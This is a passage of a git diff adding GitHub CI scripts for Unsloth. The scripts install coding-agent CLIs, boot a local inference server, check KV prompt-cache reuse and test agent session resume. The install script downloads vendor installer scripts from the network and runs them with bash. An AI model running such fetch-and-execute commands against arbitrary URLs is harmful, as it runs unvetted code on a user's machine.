need the --persist pass to prove the fix. + # opencode/claude persist either way, so the baseline already proves it and a + # second full CPU turn only risks a timeout; skip it for them. + case "$AGENT" in + codex|pi) run_pass "--persist"; RESUME="$RESULT" ;; + *) RESUME="n/a (persists either way)" ;; + esac + + # Expected: codex/pi relocate their whole home to the temp dir, so a plain + # launch is WIPED and only --persist PERSISTS. opencode/claude keep their + # session data in a fixed user dir, so the baseline already PERSISTS. + case "$AGENT" in + codex|pi) EXPECT_BASELINE="WIPED" ;; + opencode|claude) EXPECT_BASELINE="PERSISTED" ;; + esac + + echo "──────────────────────────────────────────────" + echo "[$AGENT] RESUME EXPERIMENT" + echo " baseline (unsloth start ${AGENT}): ${BASELINE} (expected ${EXPECT_BASELINE})" + echo " with --persist (unsloth start ${AGENT} --persist): ${RESUME}" + echo "──────────────────────────────────────────────" + + [ "$BASELINE" = "$EXPECT_BASELINE" ] \ + || guide_fail "baseline resume behavior for ${AGENT} was ${BASELINE}, expected ${EXPECT_BASELINE}" + case "$AGENT" in + codex|pi) + [ "$RESUME" = "PERSISTED" ] \ + || guide_fail "--persist did not persist ${AGENT}'s session (got ${RESUME}); the session dir is still not stable" ;; + esac + + # Flagship behavioral proof (codex only, WARN-only): after a --persist plant, + # resume the session and check the model actually recalls the codeword. A + # miss is not a failure (the CI model is small); the mechanism gate above is + # the real assertion. + if [ "$AGENT" = "codex" ]; then + rm -rf "$WORK"; mkdir -p "$WORK" + ( cd "$WORK" && launch_turn "$LOGS_DIR/codex-resume-plant.txt" "--persist" exec "$T1" ) || true + ( cd "$WORK" && launch_turn "$LOGS_DIR/codex-resume-recall.txt" "--persist" exec resume --last "$T2" ) || true + if grep -q "$CODEWORD" "$LOGS_DIR/codex-resume-recall.txt" 2>/dev/null; then + echo "[codex] behavioral recall HIT: resumed session remembered ${CODEWORD}" + else + echo "::warning::[codex] behavioral recall MISS (small CI model); mechanism gate still passed" + fi + fi + echo "[$AGENT] resume OK" + ;; + + *) + echo "agent-guides-drive.sh: unknown mode '$MODE'" >&2 + exit 2 + ;; +esac diff --git a/.github/scripts/agent-guides-install.sh b/.github/scripts/agent-guides-install.sh new file mode 100755 index 0000000000..daf4bacd3e --- /dev/null +++ b/.github/scripts/agent-guides-install.sh @@ -0,0 +1,108 @@ +#!/usr/bin/env bash +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. +# +# Install one coding-agent CLI for the Local Agent Guides CI. Isolated as +# failure class (b) "agent package install failed": npm/curl flakiness here +# is the single biggest source of false reds, so installs retry with +# backoff and the only ::error:: this script can emit is class (b). The +# install recipes mirror the install_hint strings in +# unsloth_cli/commands/start.py at HEAD. +# +# Usage: agent-guides-install.sh +# agent in: claude codex hermes openclaw opencode pi +set -uo pipefail + +AGENT="${1:?usage: agent-guides-install.sh }" +mkdir -p logs +LOG="logs/install-${AGENT}.log" + +install_fail() { + echo "::error::[agent install failed] agent=${AGENT}: $* (class (b): the agent CLI did not install; not a server or guide problem)." >&2 + echo "---- tail $LOG ----" >&2 + tail -60 "$LOG" 2>/dev/null || true + exit 1 +} + +# npm registry flakiness is common in CI; retry 3x with linear backoff. +# Extra npm flags may precede the package (e.g. npm_retry --ignore-scripts pkg). +npm_retry() { + local i + for i in 1 2 3; do + if npm install -g "$@" >> "$LOG" 2>&1; then + return 0 + fi + echo "[install] npm install -g $* attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG" + sleep "$((i * 10))" + done + return 1 +} + +# curl|bash installers, retried at the curl layer. We download to a temp file +# first and only execute on a fully successful fetch, so a truncated download +# (network hiccup mid-stream) can never run a half-written installer. +curl_bash() { + local url="$1"; shift + local i tmp + tmp="$(mktemp)" + for i in 1 2 3; do + if curl -fsSL --retry 3 --retry-delay 5 "$url" -o "$tmp" 2>>"$LOG" \ + && bash "$tmp" "$@" >> "$LOG" 2>&1; then + rm -f "$tmp" + return 0 + fi + echo "[install] curl|bash $url attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG" + sleep "$((i * 10))" + done + rm -f "$tmp" + return 1 +} + +echo "[install] agent=$AGENT (log=$LOG)" +case "$AGENT" in + claude) + # start.py install_hint: curl -fsSL https://claude.ai/install.sh | bash + curl_bash "https://claude.ai/install.sh" || install_fail "claude installer failed" + # The installer drops the binary under ~/.local/bin. + echo "$HOME/.local/bin" >> "$GITHUB_PATH" + ;; + codex) + # start.py install_hint: npm install -g @openai/codex + npm_retry "@openai/codex" || install_fail "npm install -g @openai/codex failed" + ;; + opencode) + # start.py install_hint: npm install -g opencode-ai + npm_retry "opencode-ai" || install_fail "npm install -g opencode-ai failed" + ;; + openclaw) + # start.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash + # npm is the more deterministic path in CI and matches the agent's docs; + # fall back to the start.py curl installer if the npm tag is missing. + if ! npm_retry "openclaw@latest"; then + curl_bash "https://openclaw.ai/install.sh" || install_fail "openclaw install failed (npm + curl)" + echo "$HOME/.local/bin" >> "$GITHUB_PATH" + fi + ;; + hermes) + # start.py install_hint: + # curl -fsSL .../NousResearch/hermes-agent/main/scripts/install.sh | bash + curl_bash "https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh" \ + --non-interactive --skip-setup --skip-browser --no-skills \ + || install_fail "hermes installer failed" + echo "$HOME/.local/bin" >> "$GITHUB_PATH" + ;; + pi) + # start.py install_hint: npm install -g --ignore-scripts @earendil-works/pi-coding-agent + # (--ignore-scripts matches Pi's documented recipe; exercising the exact hint + # catches guide drift). The CLI moved from the now-deprecated @mariozechner + # scope to @earendil-works (the old scope is frozen, so installing it would + # test a stale Pi against the API). + npm_retry --ignore-scripts "@earendil-works/pi-coding-agent" \ + || install_fail "npm install -g --ignore-scripts @earendil-works/pi-coding-agent failed" + ;; + *) + install_fail "unknown agent '$AGENT'" + ;; +esac + +echo "[install] OK for $AGENT" diff --git a/.github/scripts/assert-llama-loads.sh b/.github/scripts/assert-llama-loads.sh index c2ffe27469..62ef80d364 100755 --- a/.github/scripts/assert-llama-loads.sh +++ b/.github/scripts/assert-llama-loads.sh @@ -2,7 +2,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. # -# Assert Studio installed a llama.cpp that loads and runs on THIS macOS. Tests +# Assert Unsloth installed a llama.cpp that loads and runs on THIS macOS. Tests # the contract that matters (binaries load and their minimum-OS is <= this host) # instead of the old "did install.sh fall back to a source build?" grep, since a # source build with a correct deployment target is a valid outcome. diff --git a/.github/scripts/assert-prompt-cache.sh b/.github/scripts/assert-prompt-cache.sh new file mode 100755 index 0000000000..8c28569f77 --- /dev/null +++ b/.github/scripts/assert-prompt-cache.sh @@ -0,0 +1,238 @@ +#!/usr/bin/env bash +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. +# +# Prompt-cache (KV-cache prefix reuse) detection, two strategies in one helper: +# +# mode=api A 2-turn /v1/chat/completions probe. Turn 2 prepends turn 1 + +# its reply, so the shared prefix must be served from llama.cpp's +# KV cache. Asserts usage.prompt_tokens_details.cached_tokens > 0 +# on turn 2. This is the OpenAI-dialect server cache sanity. +# WHY this works on chat completions: the chat path forwards +# llama-server's real cached_tokens through +# studio/backend/routes/inference.py:482-489 (_prompt_tokens_details) +# into prompt_tokens_details (inference.py:519). +# +# mode=log Read the llama-server log and decide HIT vs MISS from the +# prompt-reprocessing trace. WHY the log (not the API field): +# the Anthropic /v1/messages path builds AnthropicUsage( +# input_tokens=..., output_tokens=...) at inference.py:8787-8790 +# / :8829-8832 and NEVER sets cache_read_input_tokens, which +# therefore stays at its model default of 0 +# (studio/backend/models/inference.py:1655). So an Anthropic-path +# client (Claude Code, OpenClaw is openai-completions but Claude +# Code is the canonical Anthropic agent) can get a real KV-cache +# hit that the API usage field reports as 0. The only ground +# truth for the Anthropic path is the llama-server log. +# +# Log location (verified): studio/backend/core/inference/llama_cpp.py:4363-4365 +# _swa_cache_path().parent/"logs"/"llama-server"/llama-[label]-port-

[-try].log +# _swa_cache_path() => $UNSLOTH_STUDIO_HOME|$STUDIO_HOME or ~/.unsloth/studio +# (llama_cpp.py:337-340). So default: ~/.unsloth/studio/logs/llama-server/. +# +#

is the INTERNAL llama-server port (self._find_free_port(), +# llama_cpp.py:3489 / :4641) -- a RANDOM port, NOT the Unsloth port. So we must +# NOT filter the log glob by STUDIO_PORT (the brief's `port-` +# glob would never match). We pick the newest llama-*.log instead. +# +# Usage: +# assert-prompt-cache.sh api BASE_URL API_KEY +# assert-prompt-cache.sh log EXPECT # EXPECT = HIT | MISS +# # reads MARKER_BEFORE/MARKER_AFTER +# # byte offsets from env (see below) +# assert-prompt-cache.sh mark # print current log size to stdout +# # (use to bracket a turn) +# +# Env for mode=log: +# LLAMA_LOG_DIR override the log dir (default ~/.unsloth/studio/logs/llama-server) +# CACHE_LOG_FROM byte offset to start scanning the newest log from (so we +# only look at the trace produced by THIS turn). Default 0. +# +# Exit codes: 0 = assertion held; 1 = assertion failed (::error:: emitted). + +set -uo pipefail + +MODE="${1:?usage: assert-prompt-cache.sh api|log|mark ...}" + +# --------------------------------------------------------------------------- +# Locate the newest llama-server log. Shared by mark + log modes. +# --------------------------------------------------------------------------- +_default_log_dir() { + local home="${UNSLOTH_STUDIO_HOME:-${STUDIO_HOME:-}}" + if [ -n "$home" ]; then + echo "${home%/}/logs/llama-server" + else + echo "${HOME}/.unsloth/studio/logs/llama-server" + fi +} + +_newest_log() { + local dir="${LLAMA_LOG_DIR:-$(_default_log_dir)}" + [ -d "$dir" ] || return 1 + # Newest by mtime among llama-*.log (covers both `llama--port-

.log` + # and the retry form `llama-

-try.log`). Filenames are + # tool-generated timestamps, so ls -t is safe here. + # shellcheck disable=SC2012 + ls -1t "$dir"/llama-*.log 2>/dev/null | head -1 +} + +case "$MODE" in + # ------------------------------------------------------------------------- + # mark: emit the current byte size of the newest llama log so a caller can + # scan only the slice a single turn produced (set CACHE_LOG_FROM to it). + # ------------------------------------------------------------------------- + mark) + log="$(_newest_log || true)" + if [ -n "$log" ] && [ -f "$log" ]; then + wc -c < "$log" | tr -d ' ' + else + echo 0 + fi + exit 0 + ;; + + # ------------------------------------------------------------------------- + # api: 2-turn /v1/chat/completions, assert turn-2 cached_tokens > 0. + # ------------------------------------------------------------------------- + api) + BASE_URL="${2:?usage: assert-prompt-cache.sh api BASE_URL API_KEY}" + API_KEY="${3:?usage: assert-prompt-cache.sh api BASE_URL API_KEY}" + + # A deliberately long, fixed system prompt makes the shared prefix big so a + # KV-cache hit is unambiguous (cached_tokens grows with the reused prefix). + SYS='You are a meticulous assistant. Always answer concisely and correctly. This is a fixed system preamble that exists only to create a large, identical prompt prefix across both turns so the KV cache has something substantial to reuse on the second request. Do not mention this preamble.' + + turn1_body() { + jq -n --arg sys "$SYS" '{ + model: "default", + messages: [ + {role:"system", content:$sys}, + {role:"user", content:"What is the capital of France?"} + ], + temperature: 0.0, seed: 3407, max_tokens: 40, stream: false, + enable_thinking: false + }' + } + + echo "[cache/api] turn 1 (prime the KV cache)" + R1="$(curl -fs -X POST "${BASE_URL}/v1/chat/completions" \ + -H "Authorization: Bearer ${API_KEY}" -H 'content-type: application/json' \ + --max-time 240 -d "$(turn1_body)")" || { + echo "::error::[cache/api] turn-1 /v1/chat/completions request failed. Unsloth server/API regression." + exit 1 + } + A1="$(echo "$R1" | jq -r '.choices[0].message.content // ""')" + + turn2_body() { + jq -n --arg sys "$SYS" --arg a1 "$A1" '{ + model: "default", + messages: [ + {role:"system", content:$sys}, + {role:"user", content:"What is the capital of France?"}, + {role:"assistant", content:$a1}, + {role:"user", content:"And the capital of Germany?"} + ], + temperature: 0.0, seed: 3407, max_tokens: 40, stream: false, + enable_thinking: false + }' + } + + echo "[cache/api] turn 2 (expect cached_tokens > 0)" + R2="$(curl -fs -X POST "${BASE_URL}/v1/chat/completions" \ + -H "Authorization: Bearer ${API_KEY}" -H 'content-type: application/json' \ + --max-time 240 -d "$(turn2_body)")" || { + echo "::error::[cache/api] turn-2 /v1/chat/completions request failed. Unsloth server/API regression." + exit 1 + } + + CACHED="$(echo "$R2" | jq -r '.usage.prompt_tokens_details.cached_tokens // 0')" + PROMPT_TOK="$(echo "$R2" | jq -r '.usage.prompt_tokens // 0')" + echo "[cache/api] turn-2 usage: prompt_tokens=${PROMPT_TOK} cached_tokens=${CACHED}" + + if [ -z "$CACHED" ] || ! [ "$CACHED" -gt 0 ] 2>/dev/null; then + echo "::error::[cache/api] turn-2 usage.prompt_tokens_details.cached_tokens=${CACHED}, expected > 0. The server is not surfacing llama.cpp KV-cache hits on /v1/chat/completions. Check studio/backend/routes/inference.py:482-489 (_prompt_tokens_details) and :519. Full turn-2 usage:" + echo "$R2" | jq -c '.usage' 2>/dev/null || echo "$R2" + exit 1 + fi + echo "[cache/api] PASS server cache sanity (cached_tokens=${CACHED} > 0)" + exit 0 + ;; + + # ------------------------------------------------------------------------- + # log: classify the newest llama-server log (from CACHE_LOG_FROM bytes on) + # as HIT or MISS and compare to EXPECT. + # ------------------------------------------------------------------------- + log) + EXPECT="${2:?usage: assert-prompt-cache.sh log HIT|MISS}" + FROM="${CACHE_LOG_FROM:-0}" + + log="$(_newest_log || true)" + if [ -z "$log" ] || [ ! -f "$log" ]; then + echo "::error::[cache/log] no llama-server log under ${LLAMA_LOG_DIR:-$(_default_log_dir)}. Cannot read KV-cache trace. (Path contract: studio/backend/core/inference/llama_cpp.py:4363-4365.)" + exit 1 + fi + echo "[cache/log] reading $log from byte $FROM" + + # Scan only the slice produced after FROM. + slice="$(tail -c "+$((FROM + 1))" "$log" 2>/dev/null || cat "$log")" + + # ---- HIT detectors (most-specific first) ----------------------------- + # 1. Modern + legacy "re-used N tokens" / "reused N" (N>0). Primary signal + # per the design brief. + reused_n="$(printf '%s\n' "$slice" \ + | grep -aoiE 're-?used[^0-9]*([0-9]+)' \ + | grep -aoE '[0-9]+' | sort -rn | head -1 || true)" + # 2. "kv cache rm [START, end)" with START>0 => prefix [0,START) reused. + cache_rm_start="$(printf '%s\n' "$slice" \ + | grep -aoiE 'kv cache rm \[[0-9]+' \ + | grep -aoE '[0-9]+' | sort -rn | head -1 || true)" + # 3. "n_past = N" with N>0 after a prompt-processing line (prefix kept). + n_past_n="$(printf '%s\n' "$slice" \ + | grep -aoiE 'n_past[^0-9]*([0-9]+)' \ + | grep -aoE '[0-9]+' | sort -rn | head -1 || true)" + # 4. tokens_cached / tokens from cache (some builds). + tok_cached="$(printf '%s\n' "$slice" \ + | grep -aoiE 'tokens_cached[^0-9]*([0-9]+)' \ + | grep -aoE '[0-9]+' | sort -rn | head -1 || true)" + + # ---- MISS detectors -------------------------------------------------- + # Explicit forced full re-processing (SWA / recurrent) or kv cache rm [0,. + forced_full=0 + if printf '%s\n' "$slice" | grep -aqiE 'forcing full prompt re-?processing|kv cache rm \[0,'; then + forced_full=1 + fi + + HIT=0 + why="" + if [ -n "$reused_n" ] && [ "$reused_n" -gt 0 ] 2>/dev/null; then + HIT=1; why="re-used=$reused_n" + elif [ -n "$cache_rm_start" ] && [ "$cache_rm_start" -gt 0 ] 2>/dev/null; then + HIT=1; why="kv-cache-rm-start=$cache_rm_start" + elif [ -n "$tok_cached" ] && [ "$tok_cached" -gt 0 ] 2>/dev/null; then + HIT=1; why="tokens_cached=$tok_cached" + elif [ "$forced_full" = "0" ] && [ -n "$n_past_n" ] && [ "$n_past_n" -gt 0 ] 2>/dev/null; then + # n_past>0 is the weakest signal; only trust it if nothing forced a full + # reprocess. (On a cold slot n_past tracks total processed, so it is a + # last-resort fallback per the brief.) + HIT=1; why="n_past=$n_past_n(fallback)" + fi + [ "$HIT" = "1" ] || why="${why:-no-reuse-markers (forced_full=$forced_full)}" + + OBSERVED="MISS"; [ "$HIT" = "1" ] && OBSERVED="HIT" + echo "[cache/log] observed=$OBSERVED expected=$EXPECT ($why)" + + if [ "$OBSERVED" != "$EXPECT" ]; then + echo "::error::[cache/log] KV-cache observed=$OBSERVED but expected=$EXPECT ($why). See the attribution A/B note in the workflow." + echo "---- llama-server log slice (last 60 lines) ----" + printf '%s\n' "$slice" | tail -60 + exit 1 + fi + echo "[cache/log] PASS ($OBSERVED == $EXPECT)" + exit 0 + ;; + + *) + echo "::error::unknown mode '$MODE' (want api|log|mark)" + exit 1 + ;; +esac diff --git a/.github/scripts/ci-connect-prompt.txt b/.github/scripts/ci-connect-prompt.txt new file mode 100644 index 0000000000..2d96f2b1a8 --- /dev/null +++ b/.github/scripts/ci-connect-prompt.txt @@ -0,0 +1 @@ +You are a helpful assistant in a CI connectivity check. Answer the user directly in plain text. Do not use any tools, do not take any actions, and do not explain. Just reply with the answer. diff --git a/.github/scripts/ci-min-system-prompt.txt b/.github/scripts/ci-min-system-prompt.txt new file mode 100644 index 0000000000..d55b828bbd --- /dev/null +++ b/.github/scripts/ci-min-system-prompt.txt @@ -0,0 +1 @@ +You are a coding assistant running non-interactively in a CI smoke test. Use the available file-editing and shell tools to complete the user's request directly and concisely. Do not ask questions or explain; just do the task. diff --git a/.github/scripts/hf-download-with-retry.sh b/.github/scripts/hf-download-with-retry.sh index c5ee013c80..6dec93356a 100755 --- a/.github/scripts/hf-download-with-retry.sh +++ b/.github/scripts/hf-download-with-retry.sh @@ -1,7 +1,9 @@ #!/usr/bin/env bash +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 # # Download a single file from a Hugging Face repo with a stall-retry -# watchdog. Used by the Studio CI workflows so a hung hf-xet transfer +# watchdog. Used by the Unsloth CI workflows so a hung hf-xet transfer # kills + retries instead of silently consuming the job's timeout. # # Usage: hf-download-with-retry.sh REPO FILE LOCAL_DIR @@ -33,7 +35,7 @@ REPO="${1:?usage: hf-download-with-retry.sh REPO FILE [LOCAL_DIR]}" FILE="${2:?usage: hf-download-with-retry.sh REPO FILE [LOCAL_DIR]}" # LOCAL_DIR is optional. If empty, hf falls back to HF_HUB_CACHE # (~/.cache/huggingface/hub) which is the desired path for callers -# that populate HF_HOME for a downstream Studio model load. +# that populate HF_HOME for a downstream Unsloth model load. LOCAL_DIR="${3:-}" # Stall threshold per attempt, in seconds. Override with diff --git a/.github/scripts/run-studio-permission-browser.sh b/.github/scripts/run-studio-permission-browser.sh new file mode 100755 index 0000000000..e5a9a4c135 --- /dev/null +++ b/.github/scripts/run-studio-permission-browser.sh @@ -0,0 +1,70 @@ +#!/usr/bin/env bash +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. + +set -euo pipefail + +port="${1:?usage: $0 PORT BROWSER [CHANNEL]}" +browser="${2:?usage: $0 PORT BROWSER [CHANNEL]}" +channel="${3:-}" +slug="$browser${channel:+-$channel}" +artifact_dir="logs/playwright-permissions-$slug" +server_log="logs/studio-permissions-$slug.log" +studio_home="${UNSLOTH_STUDIO_HOME:-$HOME/.unsloth/studio}" +set -- +if [ -n "${STUDIO_PERMISSION_FRONTEND:-}" ]; then + set -- -f "$STUDIO_PERMISSION_FRONTEND" +fi + +mkdir -p "$artifact_dir" +# Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. +rm -rf "$studio_home/auth" +UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$port" "$@" \ + >"$server_log" 2>&1 & +studio_pid=$! + +cleanup() { + kill "$studio_pid" 2>/dev/null || true + wait "$studio_pid" 2>/dev/null || true +} +trap cleanup EXIT + +healthy=0 +for _ in $(seq 1 180); do + if curl -fs "http://127.0.0.1:$port/api/health" >/dev/null; then + healthy=1 + break + fi + if ! kill -0 "$studio_pid" 2>/dev/null; then + tail -100 "$server_log" || true + exit 1 + fi + sleep 1 +done +if [ "$healthy" -ne 1 ]; then + tail -100 "$server_log" || true + exit 1 +fi + +old_password=$(cat "$studio_home/auth/.bootstrap_password") +new_password="CIPerm-$(python -c 'import secrets; print(secrets.token_urlsafe(16))')" +if [ "${GITHUB_ACTIONS:-}" = "true" ]; then + echo "::add-mask::$old_password" + echo "::add-mask::$new_password" +fi + +export BASE_URL="http://127.0.0.1:$port" +export STUDIO_OLD_PW="$old_password" +export STUDIO_NEW_PW="$new_password" +export STUDIO_UI_STRICT=1 +export STUDIO_UI_PERMISSION_ONLY=1 +export STUDIO_UI_WALL_TIMEOUT_S=240 +export STUDIO_PLAYWRIGHT_BROWSER="$browser" +export PW_ART_DIR="$artifact_dir" +if [ -n "$channel" ]; then + export STUDIO_PLAYWRIGHT_CHANNEL="$channel" +else + unset STUDIO_PLAYWRIGHT_CHANNEL || true +fi + +python tests/studio/playwright_chat_ui.py diff --git a/.github/scripts/serve-unsloth-run.sh b/.github/scripts/serve-unsloth-run.sh new file mode 100755 index 0000000000..6ac98ded7c --- /dev/null +++ b/.github/scripts/serve-unsloth-run.sh @@ -0,0 +1,172 @@ +#!/usr/bin/env bash +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. +# +# Boot `unsloth run --disable-tools` in the background, wait for it to be +# healthy, parse the minted API key from the banner, and resolve the +# /v1/models id. Exports everything downstream steps need into $GITHUB_ENV +# (or prints it when run outside Actions). Factored out of the workflow so +# the failure-isolation logic lives in one shellcheck-clean place. +# +# Usage: +# serve-unsloth-run.sh --model REPO --gguf-variant VAR --port PORT \ +# [--gguf-file PATH] [--extra "--seed 3407 --temp 0"] \ +# [--log-dir logs] [--health-timeout 300] +# +# Why a helper and not inline YAML +# -------------------------------- +# * Every `unsloth run` invocation here is the *Unsloth server* under test. +# A failure to come up healthy is class (a) "server/API regression" and +# must be reported with a distinct `::error::` BEFORE any agent runs. +# * The banner is the documented contract a human copies from. We parse the +# exact `API Key:` line printed by unsloth_cli/commands/studio.py +# (` API Key: ` non-silent, `API Key: ` silent) so a +# silent change to that line is also caught. +# * `unsloth run` re-execs into the studio venv ($STUDIO_HOME/unsloth_studio), +# so in CI after `install.sh --local` it runs the PR's repo code. +# +# Outputs written to $GITHUB_ENV (and echoed): +# UNSLOTH_API_KEY the sk-unsloth-* key minted on the banner +# UNSLOTH_STUDIO_URL http://127.0.0.1: (so `unsloth start` +# finds THIS server, not the hardcoded :8888) +# UNSLOTH_BASE_URL same as UNSLOTH_STUDIO_URL (alias for clarity) +# UNSLOTH_MODEL_ID the canonical id reported by /v1/models +# UNSLOTH_SERVER_PID pid of the backgrounded `unsloth run` +# UNSLOTH_LLAMA_LOG_DIR ~/.unsloth/studio/logs/llama-server + +set -uo pipefail + +# ── arg parse ──────────────────────────────────────────────────────────── +MODEL="" +GGUF_VARIANT="" +GGUF_FILE="" +PORT="" +EXTRA="" +LOG_DIR="logs" +HEALTH_TIMEOUT="300" + +while [ "$#" -gt 0 ]; do + case "$1" in + --model) MODEL="$2"; shift 2 ;; + --gguf-variant) GGUF_VARIANT="$2"; shift 2 ;; + --gguf-file) GGUF_FILE="$2"; shift 2 ;; + --port) PORT="$2"; shift 2 ;; + --extra) EXTRA="$2"; shift 2 ;; + --log-dir) LOG_DIR="$2"; shift 2 ;; + --health-timeout) HEALTH_TIMEOUT="$2"; shift 2 ;; + *) echo "serve-unsloth-run.sh: unknown arg '$1'" >&2; exit 2 ;; + esac +done + +[ -n "$PORT" ] || { echo "serve-unsloth-run.sh: --port is required" >&2; exit 2; } +if [ -z "$MODEL" ] && [ -z "$GGUF_FILE" ]; then + echo "serve-unsloth-run.sh: one of --model or --gguf-file is required" >&2 + exit 2 +fi + +mkdir -p "$LOG_DIR" +SERVER_LOG="$LOG_DIR/unsloth-run-${PORT}.log" +BASE_URL="http://127.0.0.1:${PORT}" +STUDIO_HOME_DIR="${STUDIO_HOME:-$HOME/.unsloth/studio}" +LLAMA_LOG_DIR="${STUDIO_HOME_DIR}/logs/llama-server" + +# Emit a key=value pair to $GITHUB_ENV when set, always echo for local runs. +emit() { + echo "$1=$2" + if [ -n "${GITHUB_ENV:-}" ]; then + echo "$1=$2" >> "$GITHUB_ENV" + fi +} + +server_fail() { + echo "::error::Unsloth server/API regression: $*" >&2 + echo "---- last 200 lines of $SERVER_LOG ----" >&2 + tail -200 "$SERVER_LOG" 2>/dev/null || true + exit 1 +} + +# ── port collision guard ───────────────────────────────────────────────── +# A leftover listener (or a parallel matrix cell that wandered onto our port) +# would make us attach to the wrong server and mask a real regression. Fail +# fast instead. +if command -v ss >/dev/null 2>&1; then + if ss -tln 2>/dev/null | grep -q ":${PORT}\b"; then + server_fail "port ${PORT} already has a listener before we started (collision)" + fi +fi + +# ── build the command ──────────────────────────────────────────────────── +# `unsloth run` == alias of `unsloth studio run`. --disable-tools is REQUIRED +# (passthrough mode) so the agent's own tools relay instead of the server's. +# --no-cloudflare keeps us off the network (loopback bind, no tunnel attempt). +CMD=(unsloth run -H 127.0.0.1 -p "$PORT" --disable-tools --no-cloudflare) +if [ -n "$GGUF_FILE" ]; then + CMD+=(--model "$GGUF_FILE") +else + CMD+=(--model "$MODEL") + [ -n "$GGUF_VARIANT" ] && CMD+=(--gguf-variant "$GGUF_VARIANT") +fi +# Determinism knobs + any caller passthrough (e.g. --seed 3407 --temp 0). +# shellcheck disable=SC2206 # intentional word-split of caller-controlled flags +[ -n "$EXTRA" ] && CMD+=($EXTRA) + +echo "[serve] launching: ${CMD[*]}" +echo "[serve] server log: $SERVER_LOG" + +# Run detached, no controlling TTY (setsid avoids any TTY-prompt hang and +# detaches from this step's process group so the job's teardown is clean). +setsid "${CMD[@]}" > "$SERVER_LOG" 2>&1 < /dev/null & +SERVER_PID=$! +emit UNSLOTH_SERVER_PID "$SERVER_PID" + +# ── wait for /api/health == healthy ────────────────────────────────────── +HEALTHY=0 +for _ in $(seq 1 "$HEALTH_TIMEOUT"); do + if ! kill -0 "$SERVER_PID" 2>/dev/null; then + server_fail "process exited before becoming healthy (pid $SERVER_PID)" + fi + if curl -fs "${BASE_URL}/api/health" -o "$LOG_DIR/health-${PORT}.json" 2>/dev/null; then + if jq -e '.status == "healthy"' "$LOG_DIR/health-${PORT}.json" >/dev/null 2>&1; then + HEALTHY=1 + break + fi + fi + sleep 1 +done +[ "$HEALTHY" = "1" ] || server_fail "did not report /api/health healthy within ${HEALTH_TIMEOUT}s" +echo "[serve] /api/health healthy" + +# ── parse the API key from the banner ──────────────────────────────────── +# Match both the non-silent " API Key: " and silent "API Key: " +# forms. We do NOT trust a fixed column count; we take the sk-unsloth-* token. +API_KEY="" +for _ in $(seq 1 30); do + API_KEY="$(grep -aoE 'sk-unsloth-[A-Za-z0-9_-]+' "$SERVER_LOG" 2>/dev/null | head -1 || true)" + [ -n "$API_KEY" ] && break + sleep 1 +done +if [ -z "$API_KEY" ]; then + # Fallback: take whatever follows an "API Key:" label, in case the key + # prefix scheme changes. Still a parse-fragility guard, not silent. + API_KEY="$(grep -aE 'API Key:' "$SERVER_LOG" 2>/dev/null \ + | sed -E 's/.*API Key:[[:space:]]*//' | head -1 || true)" +fi +[ -n "$API_KEY" ] || server_fail "could not parse an API key from the banner (banner-parse fragility -- check the 'API Key:' line in unsloth_cli/commands/studio.py)" +echo "::add-mask::${API_KEY}" +emit UNSLOTH_API_KEY "$API_KEY" + +# ── resolve /v1/models id ──────────────────────────────────────────────── +if ! curl -fs "${BASE_URL}/v1/models" \ + -H "Authorization: Bearer ${API_KEY}" -o "$LOG_DIR/models-${PORT}.json" 2>/dev/null; then + server_fail "/v1/models did not respond (or rejected the banner key)" +fi +MODEL_ID="$(jq -r '.data[0].id // empty' "$LOG_DIR/models-${PORT}.json" 2>/dev/null || true)" +[ -n "$MODEL_ID" ] || server_fail "/v1/models returned no model id (model failed to load)" +echo "[serve] resolved model id: $MODEL_ID" + +emit UNSLOTH_MODEL_ID "$MODEL_ID" +emit UNSLOTH_STUDIO_URL "$BASE_URL" +emit UNSLOTH_BASE_URL "$BASE_URL" +emit UNSLOTH_LLAMA_LOG_DIR "$LLAMA_LOG_DIR" + +echo "[serve] server is up: ${BASE_URL} (model ${MODEL_ID})" diff --git a/.github/workflows/consolidated-tests-ci.yml b/.github/workflows/consolidated-tests-ci.yml index f7c338d76b..afad1b6c46 100644 --- a/.github/workflows/consolidated-tests-ci.yml +++ b/.github/workflows/consolidated-tests-ci.yml @@ -7,7 +7,7 @@ # # Why a separate workflow: # - studio-backend-ci.yml's "Repo tests (CPU)" job already auto-discovers -# tests/ minus tests/qlora, tests/saving, tests/utils, tests/sh. The 16 +# tests/ minus tests/qlora, tests/saving, tests/utils, tests/sh. The 17 # Bucket-A tests below live inside those --ignore dirs (CPU-runnable but # historically excluded with their GPU siblings); pulling them out into # a sibling job keeps the existing 760-passed baseline stable while we @@ -209,7 +209,7 @@ jobs: 'peft>=0.18,<0.20' 'accelerate>=0.34,<2' \ ipython # torchvision: unsloth_zoo.vision_utils imports it at module scope. - pip install --index-url https://download.pytorch.org/whl/cpu \ + pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ 'torch>=2.4,<2.11' 'torchvision<0.26' # transformers + trl from the matrix combo. pip install "$RESOLVED_TRANSFORMERS_SPEC" @@ -268,6 +268,13 @@ jobs: tests/saving/test_save_shell_injection.py \ tests/saving/test_patch_saving_none_tokenizer.py \ tests/saving/test_fix_sentencepiece_gguf_robustness.py \ + tests/saving/test_fix_sentencepiece_tokenizer_guard.py \ + tests/saving/test_compressed_export_schemes.py \ + tests/saving/test_export_api_surface.py \ + tests/saving/test_export_dispatch.py \ + tests/saving/test_imatrix_export.py \ + tests/saving/test_gguf_single_pass_export.py \ + tests/saving/test_offline_gguf_vlm_tokenizer_7481.py \ tests/utils/test_attention_masks.py \ 